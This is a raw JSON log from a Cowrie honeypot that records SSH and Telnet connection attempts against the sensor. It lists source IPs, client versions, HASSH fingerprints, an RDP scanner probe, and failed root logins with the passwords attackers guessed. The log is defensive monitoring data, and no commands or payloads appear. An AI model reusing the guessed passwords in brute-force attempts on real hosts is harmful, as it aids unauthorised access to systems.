{"eventid":"cowrie.login.failed","username":"root","password":"J5cmmu=Kyf0-br8CsW","message":"login attempt [root/J5cmmu=Kyf0-br8CsW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:08.571837Z","src_ip":"43.134.184.253","session":"ae9f966e34cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:09.814104Z","src_ip":"43.134.184.253","session":"ae9f966e34cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41764,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9b8474bdbf","protocol":"ssh","message":"New connection: 103.82.132.16:41764 (10.17.0.5:22) [session: 9b9b8474bdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:17.782971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:17.791394Z","src_ip":"103.82.132.16","session":"9b9b8474bdbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:18.053939Z","src_ip":"103.82.132.16","session":"9b9b8474bdbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38774,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec56bad08341","protocol":"telnet","message":"New connection: 152.42.224.71:38774 (10.17.0.5:23) [session: ec56bad08341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:18.198473Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321a","message":"login attempt [root/12344321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:18.840954Z","src_ip":"103.82.132.16","session":"9b9b8474bdbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:20.105991Z","src_ip":"103.82.132.16","session":"9b9b8474bdbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38784,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd56281fec1c","protocol":"telnet","message":"New connection: 152.42.224.71:38784 (10.17.0.5:23) [session: cd56281fec1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:23.434245Z"}
{"eventid":"cowrie.session.closed","duration":11.873147249221802,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:30.071465Z","src_ip":"152.42.224.71","session":"ec56bad08341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51739,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a4fc5c47c53","protocol":"ssh","message":"New connection: 152.42.212.128:51739 (10.17.0.5:22) [session: 0a4fc5c47c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:53.759717Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:53.764076Z","src_ip":"152.42.212.128","session":"0a4fc5c47c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:53.767289Z","src_ip":"152.42.212.128","session":"0a4fc5c47c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":46528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e7d26912c2","protocol":"telnet","message":"New connection: 213.108.3.46:46528 (159.203.135.109:23) [session: d8e7d26912c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:03.146822Z"}
{"eventid":"cowrie.session.closed","duration":0.01931595802307129,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:03.166003Z","src_ip":"213.108.3.46","session":"d8e7d26912c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":57046,"dst_ip":"10.17.0.5","dst_port":22,"session":"77aa813dea98","protocol":"ssh","message":"New connection: 163.53.168.23:57046 (10.17.0.5:22) [session: 77aa813dea98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:10.247129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:10.253587Z","src_ip":"163.53.168.23","session":"77aa813dea98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:10.488024Z","src_ip":"163.53.168.23","session":"77aa813dea98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chetan","message":"login attempt [root/chetan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:11.465694Z","src_ip":"163.53.168.23","session":"77aa813dea98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":44470,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ef87b21373a","protocol":"ssh","message":"New connection: 43.173.88.240:44470 (10.17.0.5:22) [session: 4ef87b21373a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:11.666827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:11.671841Z","src_ip":"43.173.88.240","session":"4ef87b21373a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:11.739990Z","src_ip":"43.173.88.240","session":"4ef87b21373a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"222222","message":"login attempt [root/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:12.042507Z","src_ip":"43.173.88.240","session":"4ef87b21373a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.84991145133972,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:12.284026Z","src_ip":"152.42.224.71","session":"cd56281fec1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:12.703150Z","src_ip":"163.53.168.23","session":"77aa813dea98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:13.112891Z","src_ip":"43.173.88.240","session":"4ef87b21373a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":41564,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c838f6ad73f","protocol":"ssh","message":"New connection: 43.134.184.253:41564 (10.17.0.5:22) [session: 0c838f6ad73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:35.236468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:35.241824Z","src_ip":"43.134.184.253","session":"0c838f6ad73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:35.480971Z","src_ip":"43.134.184.253","session":"0c838f6ad73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranjit","message":"login attempt [root/ranjit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:36.468579Z","src_ip":"43.134.184.253","session":"0c838f6ad73f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":41754,"dst_ip":"159.203.135.109","dst_port":22,"session":"030590274183","protocol":"ssh","message":"New connection: 103.75.182.198:41754 (159.203.135.109:22) [session: 030590274183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:37.293819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:37.298003Z","src_ip":"103.75.182.198","session":"030590274183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:37.544886Z","src_ip":"103.75.182.198","session":"030590274183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:37.710425Z","src_ip":"43.134.184.253","session":"0c838f6ad73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2702na94","message":"login attempt [root/2702na94] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:38.278358Z","src_ip":"103.75.182.198","session":"030590274183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:03:39.525760Z","src_ip":"103.75.182.198","session":"030590274183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54480,"dst_ip":"10.17.0.5","dst_port":23,"session":"847500414f4a","protocol":"telnet","message":"New connection: 152.42.224.71:54480 (10.17.0.5:23) [session: 847500414f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:06.950020Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44844,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a27ef125fa9","protocol":"ssh","message":"New connection: 103.27.238.114:44844 (159.203.135.109:22) [session: 5a27ef125fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:14.019512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:14.024702Z","src_ip":"103.27.238.114","session":"5a27ef125fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:14.305038Z","src_ip":"103.27.238.114","session":"5a27ef125fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pdtplf","message":"login attempt [root/pdtplf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:15.145222Z","src_ip":"103.27.238.114","session":"5a27ef125fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:16.428504Z","src_ip":"103.27.238.114","session":"5a27ef125fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":42702,"dst_ip":"10.17.0.5","dst_port":22,"session":"379155ecf3dc","protocol":"ssh","message":"New connection: 43.173.88.240:42702 (10.17.0.5:22) [session: 379155ecf3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:23.174178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:23.179180Z","src_ip":"43.173.88.240","session":"379155ecf3dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:23.247517Z","src_ip":"43.173.88.240","session":"379155ecf3dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"knoll","message":"login attempt [root/knoll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:23.550938Z","src_ip":"43.173.88.240","session":"379155ecf3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:24.622613Z","src_ip":"43.173.88.240","session":"379155ecf3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53100,"dst_ip":"159.203.135.109","dst_port":22,"session":"12098ffae7fb","protocol":"ssh","message":"New connection: 194.113.233.25:53100 (159.203.135.109:22) [session: 12098ffae7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:27.594821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:27.598441Z","src_ip":"194.113.233.25","session":"12098ffae7fb","protocol":"ssh"}
